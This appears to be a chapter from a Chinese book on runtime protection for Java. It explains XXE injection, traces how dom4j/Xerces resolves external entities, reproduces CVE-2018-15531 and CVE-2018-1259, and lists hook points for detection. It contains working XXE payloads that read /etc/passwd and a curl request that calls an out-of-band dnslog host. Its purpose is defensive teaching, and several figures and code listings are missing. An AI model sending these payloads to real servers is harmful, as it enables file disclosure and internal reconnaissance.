外部实体注入原理与检测
XXE即XML外部实体注入(XML Enternal Entity Injection),应用程序在解析XML的时候,对外部实体进行解析而可加载恶意文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。 本章将先介绍XML的基本结构和解析工具,然后介绍XXE的利用原理和防护策略,最后给出Hook点和检测算法。
14.1 XML基础知识
14.1.1 XML文档基本结构
XML文档结构遵循一定的规则和组件组织,主要包括三部分:XML声明、文档类型定义(即DTD,XXE漏洞所在的地方)和文档元素。
- XML声明(可选)
XML文档可以以一个XML声明开始,它提供了关于文档本身的元信息,如版本号和字符编码。例如:
<?xml version="1.0" encoding="UTF-8"?>
- 文档类型定义(DTD)
DTD或XML Schema用于定义文档的合法结构、元素、属性及它们的关系。DTD的引用可能看起来像这样:
<!DOCTYPE rootElement SYSTEM "myDTD.dtd">
或者使用XML Schema:
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<!-- schema definitions go here -->
</xs:schema>
- 元素结构
根元素:每个XML文档必须有且仅有一个根元素,它是所有其他元素的容器。
子元素:元素可以包含其他元素作为其子元素,形成层次结构。
属性:元素可以具有属性,属性为名称/值对,提供有关元素的附加信息。
文本内容:元素可以包含文本内容,或者是字符数据(CDATA)段。
注释:XML文档中可以包含注释,注释不会影响文档的解析。
下面的 xml 文档包含了规定的基本结构:
<?xml version="1.0" encoding="UTF-8"?>
<!-- 此XML文档示例描述了一个简单的图书目录 -->
<!DOCTYPE catalog [
<!ELEMENT catalog (book*)>
<!ELEMENT book (title, author+, year)>
<!ATTLIST book id ID #REQUIRED>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT year (#PCDATA)>
]>
<catalog>
<!-- 书籍条目开始 -->
<book id="bk101">
<title>XML入门</title>
<author>张三</author>
<author>李四</author>
<year>2005</year>
<description><![CDATA[这本书是XML初学者的完美指南,详细介绍了XML的基础与高级概念。]]></description>
</book>
<book id="bk102">
<title>Java编程</title>
<author>王五</author>
<year>2009</year>
</book>
<!-- 书籍条目结束 -->
</catalog>
14.1.2 XML外部实体
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在 XML文档内声明,也可以外部引用。
- 内部实体
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY bar "hello">
]>
<foo>&bar;</foo>
- 外部实体
外部实体,有SYSTEM和PUBLIC两个关键字,表示实体来自本地服务和公共服务。外部实体举例如下:
<?xml version="1.0"?>
<!DOCTYPE mage[
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>
在文档约束部分定义了一个外部实体file,在文档元素部分引用了这个实体,引用实体的格式为:&实体名称;
。
14.2 外部实体解析源码分析
14.2.1 外部实体注入读取文件
包含外部实体注入的xxe.xml文档如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY firstname SYSTEM "file:///etc/passwd" >
]>
<user>
<firstname>&firstname;</firstname>
<lastname>lastname</lastname>
</user>
使用Dom4j来解析上面的xml文档,代码如下:
import org.dom4j.Document;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import java.io.File;
public class Main {
public static void main(String[] args) throws Exception {
File file = new File("src/main/resources/xxe.xml");
Document doc = new SAXReader().read(file);
Element rootElement = doc.getRootElement();
System.out.println(rootElement.element("firstname").getText());
}
}
输出结果:
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode. At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
//...限于篇幅,读取结果仅展示一部分
14.2.2 源码解析与debug
dom4j读取xml文档并解析的全过程如下,主要分为三个步骤:
14.2.2.1 xml文件路径处理
SAXReader.read方法主要功能是获取磁盘xml文件的绝对路径并设置source对象的资源路径。
图14-1 SAXReader 读取磁盘文件
xxe.xml文件的相对路径为src/main/resources/xxe.xml,在上面代码第308行,获取xml文件的磁盘的绝对路径,并用URL的形式表示inputSource的资源路径。在代码325行处调用了SAXReader.read的重载方法。
14.2.2.2 创建XmlReader对象
在代码464行处,调用getXMLReader方法创建了一个XmlReader对象,该对象是解析xml文档的关键,来看下它的实现。 通过debug可以知道,创建XMLReader的关键代码如下:
在代码46行处获取SAXParserFactory的实例,并调用工厂类实例的newSAXParser方法,而SAXParserFactory是一个抽象类,来看下工厂类是如何实例化的,它的初始化代码:
从代码可以看出,工厂类的实现为SAXParserFactoryImpl,来看下它的newSAXParser方法的实现:
可以看出在newSAXParser方法中,创建了SAXParserImpl对象,然后调用了getXmlReader方法如下:
而xmlReader的初始化在SAXParserImpl构造函数中,来看下SAXParserImpl的构造器方法:
至此解析xml的类为JAXPSAXParser,该类为SAXParser的子类,其UML类图如下:
14.2.2.3 xml文档解析
在创建完成xmlReader对象后,开始对xml文档读取。 从上面的UML类图可以看出实际负责解析的类是JAXPSAXParser,该类为SAXParserImpl的内部类,parse方法如下:
实际调用其父类的parser方法,实现如下:
在代码1216行可以看出,实际调用了XMLParser类的parse方法:
在该方法中fConfiguration负责解析XML,fConfiguration所属的类是一个接口XMLParserConfiguration,该接口的UML类图如下:
可以看出,实际负责解析的类是XML11Configuration类,相关方法如下:
这里实际调用了fCurrentScanner.scanDocument,这里才开始进行真正的文档扫描,
来看next方法,可以看出next方法将xml文档解析为一个个事件:
我们重点关注实体引用的解析:
在扫描实体引用时调用了scanEntityReference方法,该方法代码如下: 在代码 1238 行调用startEntity方法解析解析实体。 setupCurrentEntity负责解析实体资源,实现如下:
至此,XML文档中的外部实体引用的解析过程debug完成。
14.3 XXE漏洞举例
14.3.1 CVE-2018-15531
- 漏洞简介
JavaMelody是一款在生产和QA环境中对JAVA应用以及应用服务器(Tomcat、Jboss、Weblogic)进行监控的工具,可以通过图表给出监控数据,方便研发运维等找出响应瓶颈、优化响应等。 在 1.74.0版本,修复了一个XXE漏洞,漏洞编号CVE-2018-15531。攻击者利用漏洞,可以读取JavaMelody服务器上的敏感信息。
- 影响版本
版本 < 1.74.0
- 修复代码
commit的链接地址:https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
- 漏洞环境工程
创建一个简单的Springboot工程,并在pom.xml中增加javamelody的指定版本依赖。
<dependency>
<groupId>net.bull.javamelody</groupId>
<artifactId>javamelody-spring-boot-starter</artifactId>
<version>1.73.1</version>
</dependency>
启动应用后访问 http://localhost:8080/monitoring
监控页面,结果如下:
- 申请一个dns域名
域名4yf5lc.dnslog.cn
发送请求如下
curl --location --request POST 'http://localhost:8080' \
--header 'Content-type: text/xml' \
--header 'SOAPAction: aaaaa' \
--data-raw '<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://www.4yf5lc.dnslog.cn">
%remote;
]>
</root>'
也可以用postman发送请求:
- 观察结果
可以看到dnslog.cn平台记录了服务端的IP信息。
使用RASP截获部分日志如下:
14.3.2 CVE-2018-1259
- 漏洞简介
XMLBeans 提供了底层XML数据的对象视图,同时还能访问原始的XML信息集合。Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用时,XMLBeam不会限制XML外部实体应用,导致未经身份验证的远程恶意用户可以针对Spring Data的请求绑定特定的参数,访问系统上的任意文件.
- 影响版本
Spring Data Commons 1.13 to 1.13.11
Spring Data REST 2.6 to 2.6.11
Spring Data Commons 2.0 to 2.0.6
Spring Data REST 3.0 to 3.0.6
- 漏洞分析
通过 漏洞修复commit发现,对DefaultXMLFactoriesConfig文件进行了修改,如下:
commit: https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1
配置了默认的feature、禁止实体引用和禁止合并多个XML文档
- 复现
代码来源于 spring-data-examples 官方demo spring-data-xml-xxe
- 代码来源于spring-data-examples官方工程,关键代码如下:
@RestController
class UserController {
@ProjectedPayload
public interface UserPayload {
@XBRead("//firstname")
@JsonPath("$..firstname")
String getFirstname();
@XBRead("//lastname")
@JsonPath("$..lastname")
String getLastname();
}
@PostMapping(value = "/")
HttpEntity<String> post(@RequestBody UserPayload user) {
return ResponseEntity
.ok(String.format("Received firstname: %s, lastname: %s", user.getFirstname(), user.getLastname()));
}
}
项目pom.xml依赖:
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-commons</artifactId>
<version>2.0.5.RELEASE</version>
</dependency>
<dependency>
<groupId>com.jayway.jsonpath</groupId>
<artifactId>json-path</artifactId>
</dependency>
<dependency>
<groupId>org.xmlbeam</groupId>
<artifactId>xmlprojector</artifactId>
<version>1.4.13</version>
</dependency>
如果熟悉springboot工程的创建,上面的代码能够构建完成的应用。 工程构建完成之后,编译成可执行jar包并运行
mvn clean package
java -jar ./target/xxe-demo-0.0.1-SNAPSHOT.jar
- 发起请求
任意文件读取,使用post发送xml格式的payload 如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<user><firstname>&file;</firstname><lastname>rasp</lastname></user>
使用post man 发送请求如下:
- 观察结果
使用RASP截获部分日志如下:
14.4 Hook点选取与检测算法
14.4.1 Hook类选择
尽管解析XML的中间件非常多,只需要Hook xml实体解析部分即可,例如DOM4J和JAXP工具解析XML实体都依赖apache-xerces,相关hook点总结如下:
- 开源工具apache.xerces
org.apache.xerces.impl.XMLEntityManager#startEntity(String, org.apache.xerces.xni.parser.XMLInputSource, boolean, boolean)
- JDK内部的apache.xerces工具
com.sun.org.apache.xerces.internal.impl.XMLEntityManager#startEntity(boolean, String, com.sun.org.apache.xerces.internal.xni.parser.XMLInputSource, boolean, boolean)
可以看出上面的2个hook点除了包名称不一样之外,参数列表还存在一些差异。
- 开源工具 wstx
com.ctc.wstx.sr.StreamScanner#expandEntity(com.ctc.wstx.ent.EntityDecl, boolean)
14.4.2 检测算法
XXE漏洞在Java 中能够利用的协议有限,能支持的协议全部在sun.net.www.protocol包下,JDK8和JDK11支持的协议分别为:
JDK11:jmod,jrt,mailto,file,ftp,http,https,jar;
JDK8:mailto,netdoc,file,ftp,http,https,jar;
获取外部实体资源的协议名称,路径和主机名称,并分别做检测即可,参数获取与检测如下:
获取参数方法如下:
对参数进行检测的算法如下: